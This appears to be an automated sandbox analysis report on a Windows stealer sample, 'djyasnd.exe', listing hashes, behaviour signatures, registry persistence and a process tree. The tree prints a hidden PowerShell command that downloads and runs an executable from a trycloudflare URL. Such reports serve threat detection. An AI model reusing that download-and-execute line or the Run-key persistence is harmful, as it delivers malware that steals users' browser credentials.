6cd8b8a84193c3c2721cffa073da5657519cfb6a726dbb2cd8cb429b1ea645b2

Analysis

user interaction
yes
max time kernel
210s
max time network
212s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260911-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
12/09/2026, 09:10

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
djyasnd.exe
Size 12.1MB
Sample260912-k45cmashkh
SHA256 6cd8b8a84193c3c2721cffa073da5657519cfb6a726dbb2cd8cb429b1ea645b2
MD5 12c3a9c35697edd9a7bec5afa471458f
SHA1 ddcf580965b3f789d11ea0b0abf15f2973e660af
SHA512 3a0561a52a1b56ab982f9acce17ba26b7a19e2658584ceec1bb7948c36d7782190e1cf9a447fd9b7fdb23b6d3a06c40ce08d92eaba148eacbf2793a86d85a654
SSDEEP 196608:bd/A6kDzLPyiDVnZEyFTCoG+3CpMIi3wcOa5B7tK6CxD:Z/vs6kJFTq8CpMIigcOiE6CxD
TLSH
T1EAD6AE56E2FD00E8D4BAC0B8C6574617EBB234551330A7EB56A08A692F37FE16E7D310
MD5 SHA1 SHA512 SSDEEP TLSH

Score

8^/10

discovery execution persistence spyware stealer

Malware Config

Signatures

Badlisted process makes network request 1 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
119	3536	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
3536	powershell.exe

Downloads MZ/PE file 1 IoCs

flow	pid	Process
119	3536	powershell.exe

Executes dropped EXE 2 IoCs

pid	Process
6932	BK279399.exe
3916	djyasnd.exe

Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003

Adds Run key to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-1704430598-3087477806-3297458608-1000\Software\Microsoft\Windows\CurrentVersion\Run\djyasnd = "\"C:\\Users\\Admin\\AppData\\Roaming\\djyasnd.exe\""	djyasnd.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1704430598-3087477806-3297458608-1000\Software\Microsoft\Windows\CurrentVersion\Run\djyasnd = "\"C:\\Users\\Admin\\AppData\\Roaming\\djyasnd.exe\""	djyasnd.exe

Drops file in Program Files directory 6 IoCs

description	ioc	Process
File opened for modification	C:\Program Files\Java\jdk-1.8\include\classfile_constants.h	djyasnd.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\include\jawt.h	djyasnd.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\include\jdwpTransport.h	djyasnd.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\include\jni.h	djyasnd.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\include\jvmti.h	djyasnd.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\include\jvmticmlr.h	djyasnd.exe

Drops file in Windows directory 54 IoCs

description	ioc	Process
File created	C:\Windows\INF\.NET CLR Networking 4.0.0.0\_NetworkingPerfCounters.h	djyasnd.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping6052_1072390521\office_endpoints_list.json	msedge.exe
File created	C:\Windows\INF\.NET Data Provider for Oracle\_DataOracleClientPerfCounters_shared12_neutral.h	djyasnd.exe
File created	C:\Windows\INF\.NET Data Provider for SqlServer\_dataperfcounters_shared12_neutral.h	djyasnd.exe
File created	C:\Windows\INF\MSDTC\msdtcprf.h	djyasnd.exe
File created	C:\Windows\INF\rdyboost\ReadyBoostPerfCounters.h	djyasnd.exe
File opened for modification	C:\Windows\INF\Outlook\outlperf.h	djyasnd.exe
File created	C:\Windows\INF\.NETFramework\CORPerfMonSymbols.h	djyasnd.exe
File created	C:\Windows\INF\BITS\bitsctr.h	djyasnd.exe
File created	C:\Windows\INF\.NET CLR Networking\_NetworkingPerfCounters_v2.h	djyasnd.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping6052_1072390521\llm_user_input_extractor_config.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping6052_1072390521\smart_switch_list.json	msedge.exe
File created	C:\Windows\INF\.NET Memory Cache 4.0\netmemorycache.h	djyasnd.exe
File created	C:\Windows\INF\.NETFramework\CORPerfMonSymbols.h	djyasnd.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping6052_977658069\manifest.json	msedge.exe
File created	C:\Windows\INF\.NET CLR Data\_DataPerfCounters.h	djyasnd.exe
File created	C:\Windows\INF\.NETFramework\CORPerfMonSymbols.h	djyasnd.exe
File created	C:\Windows\INF\RemoteAccess\rasctrnm.h	djyasnd.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping6052_1072390521\manifest.json	msedge.exe
File created	C:\Windows\INF\.NET CLR Networking\_NetworkingPerfCounters_v2.h	djyasnd.exe
File created	C:\Windows\INF\.NET Data Provider for Oracle\_DataOracleClientPerfCounters_shared12_neutral.h	djyasnd.exe
File created	C:\Windows\INF\.NET Memory Cache 4.0\netmemorycache.h	djyasnd.exe
File created	C:\Windows\INF\BITS\bitsctr.h	djyasnd.exe
File created	C:\Windows\INF\LSM\lagcounterdef.h	djyasnd.exe
File created	C:\Windows\INF\.NET Data Provider for Oracle\_DataOracleClientPerfCounters_shared12_neutral.h	djyasnd.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping6052_1592855850\manifest.json	msedge.exe
File created	C:\Windows\INF\MSDTC Bridge 4.0.0.0\_TransactionBridgePerfCounters.h	djyasnd.exe
File created	C:\Windows\INF\rdyboost\ReadyBoostPerfCounters.h	djyasnd.exe
File opened for modification	C:\Windows\INF\ServiceModelEndpoint 3.0.0.0\_ServiceModelEndpointPerfCounters.h	djyasnd.exe
File opened for modification	C:\Windows\INF\SMSvcHost 3.0.0.0\_SMSvcHostPerfCounters.h	djyasnd.exe
File created	C:\Windows\INF\MSDTC\msdtcprf.h	djyasnd.exe
File created	C:\Windows\INF\rdyboost\ReadyBoostPerfCounters.h	djyasnd.exe
File created	C:\Windows\INF\BITS\bitsctr.h	djyasnd.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping6052_96576652\manifest.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping6052_96576652\nav_config.json	msedge.exe
File created	C:\Windows\INF\.NET CLR Data\_DataPerfCounters.h	djyasnd.exe
File created	C:\Windows\INF\.NET CLR Networking 4.0.0.0\_NetworkingPerfCounters.h	djyasnd.exe
File created	C:\Windows\INF\MSDTC\msdtcprf.h	djyasnd.exe
File created	C:\Windows\INF\.NET CLR Data\_DataPerfCounters.h	djyasnd.exe
File created	C:\Windows\INF\LSM\lagcounterdef.h	djyasnd.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping6052_1592855850\protocols.json	msedge.exe
File created	C:\Windows\INF\.NET Memory Cache 4.0\netmemorycache.h	djyasnd.exe
File created	C:\Windows\INF\.NET Data Provider for SqlServer\_dataperfcounters_shared12_neutral.h	djyasnd.exe
File opened for modification	C:\Windows\INF\MSDTC Bridge 3.0.0.0\_TransactionBridgePerfCounters.h	djyasnd.exe
File created	C:\Windows\INF\RemoteAccess\rasctrnm.h	djyasnd.exe
File opened for modification	C:\Windows\INF\ServiceModelService 3.0.0.0\_ServiceModelServicePerfCounters.h	djyasnd.exe
File created	C:\Windows\INF\.NET CLR Networking\_NetworkingPerfCounters_v2.h	djyasnd.exe
File created	C:\Windows\INF\.NET CLR Networking 4.0.0.0\_NetworkingPerfCounters.h	djyasnd.exe
File created	C:\Windows\INF\RemoteAccess\rasctrnm.h	djyasnd.exe
File created	C:\Windows\INF\LSM\lagcounterdef.h	djyasnd.exe
File created	C:\Windows\INF\MSDTC Bridge 4.0.0.0\_TransactionBridgePerfCounters.h	djyasnd.exe
File opened for modification	C:\Windows\INF\ServiceModelOperation 3.0.0.0\_ServiceModelOperationPerfCounters.h	djyasnd.exe
File created	C:\Windows\INF\.NET Data Provider for SqlServer\_dataperfcounters_shared12_neutral.h	djyasnd.exe
File created	C:\Windows\INF\MSDTC Bridge 4.0.0.0\_TransactionBridgePerfCounters.h	djyasnd.exe

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Time Discovery 1 TTPs 1 IoCs

Adversary may gather the system time and/or time zone settings from a local or remote system.

discovery

System Time Discovery

T1124

pid	Process
4368	msedge.exe

Checks processor information in registry 2 TTPs 6 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	djyasnd.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	djyasnd.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	djyasnd.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	djyasnd.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	djyasnd.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	djyasnd.exe

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	msedge.exe

Modifies data under HKEY_USERS 1 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry	msedge.exe

Modifies registry class 9 IoCs

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-1704430598-3087477806-3297458608-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Mappings\S-1-15-2-1760019844-2681172078-3872633735-798519778-3824819574-1684089895-1452983902\Moniker = "cr.sb.odmf5200eafd3ad904629cbb0f87a78a3c7211081fe"	msedge.exe
Key created	\REGISTRY\MACHINE\Software\Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\Deployment\Package\*\S-1-5-21-1704430598-3087477806-3297458608-1000\{23F52D2E-CDEA-4EC0-B078-B969E69F5A6A}	msedge.exe
Key created	\REGISTRY\MACHINE\Software\Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\Deployment\Package\*\S-1-5-21-1704430598-3087477806-3297458608-1000\{EB447413-E148-4DF5-9527-53BA9217F4A0}	msedge.exe
Key created	\REGISTRY\USER\S-1-5-21-1704430598-3087477806-3297458608-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Mappings\S-1-15-2-1760019844-2681172078-3872633735-798519778-3824819574-1684089895-1452983902\Children	msedge.exe
Key created	\REGISTRY\USER\S-1-5-21-1704430598-3087477806-3297458608-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage	msedge.exe
Key created	\REGISTRY\USER\S-1-5-21-1704430598-3087477806-3297458608-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\cr.sb.odmf5200eafd3ad904629cbb0f87a78a3c7211081fe	msedge.exe
Key created	\REGISTRY\USER\S-1-5-21-1704430598-3087477806-3297458608-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\cr.sb.odmf5200eafd3ad904629cbb0f87a78a3c7211081fe\Children	msedge.exe
Key created	\REGISTRY\USER\S-1-5-21-1704430598-3087477806-3297458608-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Mappings\S-1-15-2-1760019844-2681172078-3872633735-798519778-3824819574-1684089895-1452983902	msedge.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1704430598-3087477806-3297458608-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Mappings\S-1-15-2-1760019844-2681172078-3872633735-798519778-3824819574-1684089895-1452983902\DisplayName = "Chrome Sandbox"	msedge.exe

Suspicious behavior: EnumeratesProcesses 11 IoCs

pid	Process
3300	djyasnd.exe
3536	powershell.exe
3536	powershell.exe
3536	powershell.exe
7028	djyasnd.exe
7028	djyasnd.exe
7060	djyasnd.exe
3300	djyasnd.exe
3300	djyasnd.exe
1668	msedge.exe
1668	msedge.exe

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 10 IoCs

pid	Process
6052	msedge.exe
6052	msedge.exe
6052	msedge.exe
6052	msedge.exe
6052	msedge.exe
6052	msedge.exe
6052	msedge.exe
6052	msedge.exe
6052	msedge.exe
6052	msedge.exe

Suspicious use of AdjustPrivilegeToken 6 IoCs

description	pid	Process
Token: SeDebugPrivilege	3300	djyasnd.exe
Token: SeDebugPrivilege	3536	powershell.exe
Token: SeDebugPrivilege	7028	djyasnd.exe
Token: SeDebugPrivilege	7060	djyasnd.exe
Token: 33	6756	AUDIODG.EXE
Token: SeIncBasePriorityPrivilege	6756	AUDIODG.EXE

Suspicious use of FindShellTrayWindow 1 IoCs

pid	Process
6052	msedge.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 6052 wrote to memory of 5528	6052	msedge.exe	87
PID 6052 wrote to memory of 4368	6052	msedge.exe	88
PID 6052 wrote to memory of 2200	6052	msedge.exe	89
PID 6052 wrote to memory of 2200	6052	msedge.exe	89
PID 6052 wrote to memory of 2200	6052	msedge.exe	89
PID 6052 wrote to memory of 1588	6052	msedge.exe	90
PID 6052 wrote to memory of 1480	6052	msedge.exe	91
PID 6052 wrote to memory of 1588	6052	msedge.exe	90
PID 6052 wrote to memory of 1480	6052	msedge.exe	91
PID 6052 wrote to memory of 1480	6052	msedge.exe	91
PID 6052 wrote to memory of 2500	6052	msedge.exe	92
PID 6052 wrote to memory of 2500	6052	msedge.exe	92
PID 6052 wrote to memory of 2500	6052	msedge.exe	92
PID 6052 wrote to memory of 6112	6052	msedge.exe	93
PID 6052 wrote to memory of 1868	6052	msedge.exe	94
PID 6052 wrote to memory of 6112	6052	msedge.exe	93
PID 6052 wrote to memory of 6112	6052	msedge.exe	93
PID 6052 wrote to memory of 1868	6052	msedge.exe	94
PID 6052 wrote to memory of 1868	6052	msedge.exe	94
PID 6052 wrote to memory of 1752	6052	msedge.exe	96
PID 6052 wrote to memory of 1752	6052	msedge.exe	96
PID 6052 wrote to memory of 5968	6052	msedge.exe	98
PID 6052 wrote to memory of 5968	6052	msedge.exe	98
PID 6052 wrote to memory of 5800	6052	msedge.exe	99
PID 6052 wrote to memory of 5800	6052	msedge.exe	99
PID 6052 wrote to memory of 2860	6052	msedge.exe	102
PID 3300 wrote to memory of 3536	3300	djyasnd.exe	104
PID 6052 wrote to memory of 1432	6052	msedge.exe	106
PID 6052 wrote to memory of 1432	6052	msedge.exe	106
PID 6052 wrote to memory of 1892	6052	msedge.exe	107
PID 6052 wrote to memory of 1892	6052	msedge.exe	107
PID 6052 wrote to memory of 1532	6052	msedge.exe	108
PID 6052 wrote to memory of 1532	6052	msedge.exe	108
PID 6052 wrote to memory of 5820	6052	msedge.exe	109
PID 6052 wrote to memory of 5820	6052	msedge.exe	109
PID 6052 wrote to memory of 5820	6052	msedge.exe	109
PID 6052 wrote to memory of 2664	6052	msedge.exe	111
PID 6052 wrote to memory of 2664	6052	msedge.exe	111
PID 6052 wrote to memory of 2664	6052	msedge.exe	111
PID 6052 wrote to memory of 6112	6052	msedge.exe	112
PID 6052 wrote to memory of 6112	6052	msedge.exe	112
PID 6052 wrote to memory of 6112	6052	msedge.exe	112
PID 6052 wrote to memory of 4620	6052	msedge.exe	113
PID 6052 wrote to memory of 4620	6052	msedge.exe	113
PID 6052 wrote to memory of 4620	6052	msedge.exe	113
PID 6052 wrote to memory of 4868	6052	msedge.exe	114
PID 6052 wrote to memory of 4868	6052	msedge.exe	114
PID 6052 wrote to memory of 4868	6052	msedge.exe	114
PID 6052 wrote to memory of 4876	6052	msedge.exe	115
PID 6052 wrote to memory of 5372	6052	msedge.exe	116
PID 6052 wrote to memory of 4876	6052	msedge.exe	115
PID 6052 wrote to memory of 3116	6052	msedge.exe	117
PID 6052 wrote to memory of 2004	6052	msedge.exe	118
PID 6052 wrote to memory of 2356	6052	msedge.exe	119
PID 6052 wrote to memory of 1336	6052	msedge.exe	121
PID 6052 wrote to memory of 1336	6052	msedge.exe	121
PID 6052 wrote to memory of 6808	6052	msedge.exe	125
PID 6052 wrote to memory of 6808	6052	msedge.exe	125
PID 3536 wrote to memory of 6932	3536	powershell.exe	126
PID 6932 wrote to memory of 7028	6932	BK279399.exe	127
PID 6052 wrote to memory of 4392	6052	msedge.exe	128
PID 6052 wrote to memory of 4392	6052	msedge.exe	128
PID 3916 wrote to memory of 7060	3916	djyasnd.exe	131
PID 6052 wrote to memory of 1668	6052	msedge.exe	132

C:\Users\Admin\AppData\Local\Temp\djyasnd.exe
"C:\Users\Admin\AppData\Local\Temp\djyasnd.exe"
1⤵
- Drops file in Program Files directory
- Drops file in Windows directory
- Checks processor information in registry
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3300
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" -NoProfile -WindowStyle Hidden -Command "& { iwr -Uri 'https://vintage-menu-titten-helmet.trycloudflare.com/dl/dq9e6rw' -OutFile $env:TEMP\BK279399.exe; Start-Process $env:TEMP\BK279399.exe -WindowStyle Hidden }"
  2⤵
  - Badlisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Downloads MZ/PE file
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:3536
- - C:\Users\Admin\AppData\Local\Temp\BK279399.exe
    "C:\Users\Admin\AppData\Local\Temp\BK279399.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious use of WriteProcessMemory
    PID:6932
  - - C:\Users\Admin\AppData\Local\Temp\djyasnd.exe
      "C:\Users\Admin\AppData\Local\Temp\djyasnd.exe"
      4⤵
      Adds Run key to start application
      Drops file in Windows directory
      Checks processor information in registry
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:7028

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"
1⤵
- Drops file in Windows directory
- Enumerates system info in registry
- Modifies data under HKEY_USERS
- Modifies registry class
- Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
- Suspicious use of FindShellTrayWindow
- Suspicious use of WriteProcessMemory
PID:6052
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=139.0.7258.155 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 --annotation=prod=Edge --annotation=ver=139.0.3405.125 --initial-client-data=0x2f0,0x2f4,0x2f8,0x2ec,0x300,0x7ff87dbec188,0x7ff87dbec194,0x7ff87dbec1a0
  2⤵
  PID:5528
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=1988,i,14022801852666710191,15625534152821015030,524288 --field-trial-handle=2172,i,17727326506718473218,18438628003249966067,262144 --variations-seed-version --mojo-platform-channel-handle=2364 /prefetch:11
  2⤵
  - System Time Discovery
  PID:4368
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --always-read-main-dll --metrics-shmem-handle=1844,i,16162176488215532558,1142161633522046621,262144 --field-trial-handle=2172,i,17727326506718473218,18438628003249966067,262144 --variations-seed-version --mojo-platform-channel-handle=2168 /prefetch:2
  2⤵
  PID:2200
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --no-pre-read-main-dll --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=2464,i,17577445102770459869,4303353522925207897,524288 --field-trial-handle=2172,i,17727326506718473218,18438628003249966067,262144 --variations-seed-version --mojo-platform-channel-handle=3060 /prefetch:13
  2⤵
  PID:1588
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --no-pre-read-main-dll --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --always-read-main-dll --metrics-shmem-handle=3316,i,4676689985936439387,5984100565874139490,2097152 --field-trial-handle=2172,i,17727326506718473218,18438628003249966067,262144 --variations-seed-version --mojo-platform-channel-handle=3328 /prefetch:1
  2⤵
  PID:1480
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --instant-process --pdf-upsell-enabled --no-pre-read-main-dll --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --always-read-main-dll --metrics-shmem-handle=3320,i,1575293998285927883,8669493689978514053,2097152 --field-trial-handle=2172,i,17727326506718473218,18438628003249966067,262144 --variations-seed-version --mojo-platform-channel-handle=3384 /prefetch:1
  2⤵
  PID:2500
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --extension-process --renderer-sub-type=extension --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --always-read-main-dll --metrics-shmem-handle=4104,i,18432950982676341778,11110687596849917235,2097152 --field-trial-handle=2172,i,17727326506718473218,18438628003249966067,262144 --variations-seed-version --mojo-platform-channel-handle=4264 /prefetch:9
  2⤵
  PID:6112
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --always-read-main-dll --metrics-shmem-handle=4080,i,10835486496625160509,2147598052325416269,2097152 --field-trial-handle=2172,i,17727326506718473218,18438628003249966067,262144 --variations-seed-version --mojo-platform-channel-handle=4260 /prefetch:1
  2⤵
  PID:1868
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=PooledProcess2 --lang=en-US --service-sandbox-type=utility --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5132,i,11302535584596169459,5193267054810983507,524288 --field-trial-handle=2172,i,17727326506718473218,18438628003249966067,262144 --variations-seed-version --mojo-platform-channel-handle=5288 /prefetch:14
  2⤵
  PID:1752
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5616,i,2131427505982595331,8972682546536349285,524288 --field-trial-handle=2172,i,17727326506718473218,18438628003249966067,262144 --variations-seed-version --mojo-platform-channel-handle=5652 /prefetch:14
  2⤵
  PID:5968
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-US --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5620,i,11440508898237719303,1612445364171610000,524288 --field-trial-handle=2172,i,17727326506718473218,18438628003249966067,262144 --variations-seed-version --mojo-platform-channel-handle=5672 /prefetch:14
  2⤵
  PID:5800
- C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5392,i,3339860427833215507,11548246204578420928,524288 --field-trial-handle=2172,i,17727326506718473218,18438628003249966067,262144 --variations-seed-version --mojo-platform-channel-handle=6460 /prefetch:14
  2⤵
  PID:1880
- C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5392,i,3339860427833215507,11548246204578420928,524288 --field-trial-handle=2172,i,17727326506718473218,18438628003249966067,262144 --variations-seed-version --mojo-platform-channel-handle=6460 /prefetch:14
  2⤵
  PID:2860
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6800,i,5348327035773241681,8183872944050624968,524288 --field-trial-handle=2172,i,17727326506718473218,18438628003249966067,262144 --variations-seed-version --mojo-platform-channel-handle=6772 /prefetch:14
  2⤵
  PID:1432
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6716,i,12052067191523418057,8134350164076740098,524288 --field-trial-handle=2172,i,17727326506718473218,18438628003249966067,262144 --variations-seed-version --mojo-platform-channel-handle=6508 /prefetch:14
  2⤵
  PID:1892
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=PooledProcess2 --lang=en-US --service-sandbox-type=utility --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=4296,i,6815457938277703653,15815029416973394610,524288 --field-trial-handle=2172,i,17727326506718473218,18438628003249966067,262144 --variations-seed-version --mojo-platform-channel-handle=4560 /prefetch:14
  2⤵
  PID:1532
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=18 --always-read-main-dll --metrics-shmem-handle=4784,i,8645602507015829168,6308206868757173050,2097152 --field-trial-handle=2172,i,17727326506718473218,18438628003249966067,262144 --variations-seed-version --mojo-platform-channel-handle=4796 /prefetch:1
  2⤵
  PID:5820
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
